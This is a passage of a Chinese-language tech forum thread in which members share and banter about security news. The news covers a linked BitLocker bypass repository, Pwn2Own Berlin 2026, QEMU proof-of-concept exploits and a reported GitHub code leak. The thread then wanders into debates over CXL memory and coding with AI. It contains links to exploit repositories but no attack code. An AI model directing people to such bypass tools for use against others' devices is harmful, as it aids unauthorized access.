现在轮到Windows了, 可以bypass bitlocker https://github.com/Nightmare-Eclipse/YellowKey https://github.com/Nightmare-Eclipse/YellowKey YellowKey Bitlocker Bypass Vulnerability

--- 第 108 楼来自 Matsuya 的回复 (2026-05-15 21:50:01 PDT) ---

直接改分数辣

--- 第 109 楼来自 xxxyyy 的回复 (2026-05-16 00:18:06 PDT) ---

这个后门是咋发现的,太神奇了

--- 第 110 楼来自 willsonT 的回复 (2026-05-16 07:03:02 PDT) ---

摩萨德特工展示肌肉

--- 第 111 楼来自 0-1 的回复 (2026-05-16 09:50:21 PDT) ---

如果设备有丢失风险的话那看起来强制需要用 PIN 在启动之前解锁还是有道理的。或者本地不存任何东西,远程到另外一台机器。

--- 第 112 楼来自 葱花香菜都要 的回复 (2026-05-16 16:02:56 PDT) ---

最近正在举行 Pwn2Own 大赛,好像又有几个kernel提权漏洞被发现了但还没有公开。 https://www.zerodayinitiative.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule https://www.zerodayinitiative.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for...

--- 第 113 楼来自 bill 的回复 (2026-05-16 21:27:27 PDT) ---

本地提权差点意思,来几个RCE吧

--- 第 114 楼来自 BitBucket 的回复 (2026-05-17 06:49:41 PDT) ---

好消息,母鸡忘了密码可以从vm找回了 https://github.com/v12-security/pocs/tree/main/qemu https://github.com/v12-security/pocs/tree/main/qemu https://github.com/v12-security/pocs/tree/main/qemu poc it like it's hot. Contribute to v12-security/pocs development by creating an account on GitHub.

--- 第 115 楼来自 Wi-Fi 的回复 (2026-05-17 09:03:15 PDT) ---

我反正搞不明白CXL有啥用,早该关了

--- 第 116 楼来自 xxxyyy 的回复 (2026-05-17 10:37:53 PDT) ---

CXL你目前还用不了呢,还没成熟。基本是研究性质的

--- 第 117 楼来自 Wi-Fi 的回复 (2026-05-17 10:39:09 PDT) ---

不是,我指的是云服务商也根本用不到CXL,大的AI workload都用*ccl就行了,根本不需要(也不应该需要)内存硬件通道层面提供远程atomics语义。 就是重新编译一次代码的事。不能重新编译代码的软件才有可能需要CXL。

--- 第 118 楼来自 xxxyyy 的回复 (2026-05-17 10:40:08 PDT) ---

不知道,我朋友整个组都在干CXL,我这就去跟他们说你们干的没啥用 他说主要做memory pool。https://arxiv.org/abs/2203.00241

--- 第 119 楼来自 0-1 的回复 (2026-05-19 22:13:36 PDT) ---

GitHub 内部代码也泄漏了 https://x.com/i/status/2056949168208552080

--- 第 120 楼来自 xxxyyy 的回复 (2026-05-20 02:54:13 PDT) ---

供应链攻击 防不胜防啊

--- 第 121 楼来自 0-1 的回复 (2026-05-20 08:59:54 PDT) ---

就怕拿到这些代码又被 AI 找出 GitHub 里面的另外的漏洞

--- 第 122 楼来自 Wi-Fi 的回复 (2026-05-20 10:40:06 PDT) ---

供应链根本没必要这么长的。当大部分incompetent码农懒惰到left-pad和is-even都要搞成一个库,自然虚空搞出很长很复杂的供应链,一个todolist小工具的SBOM比一辆丰田混动车还复杂搞出几万个tier-7 vendor。 软件还是太便宜了,要把安全成本算进去,然后马斯克思维简化供应链,保证只有一只手数得过来的tier-3 vendor。

--- 第 123 楼来自 xxxyyy 的回复 (2026-05-20 10:47:17 PDT) ---

现在AI写代码我都懒得找库了,要啥小功能直接随手搓出来了

--- 第 124 楼来自 xxxyyy 的回复 (2026-05-20 10:47:40 PDT) ---

大概率是找得到的

--- 第 125 楼来自 aqua 的回复 (2026-05-20 22:12:50 PDT) ---

你怎么知道 xxxyyy: 随手搓出来 的代码不是从 xxxyyy: 库 里学的

--- 第 126 楼来自 xxxyyy 的回复 (2026-05-21 00:17:07 PDT) ---

AI一般把这个叫做clean room design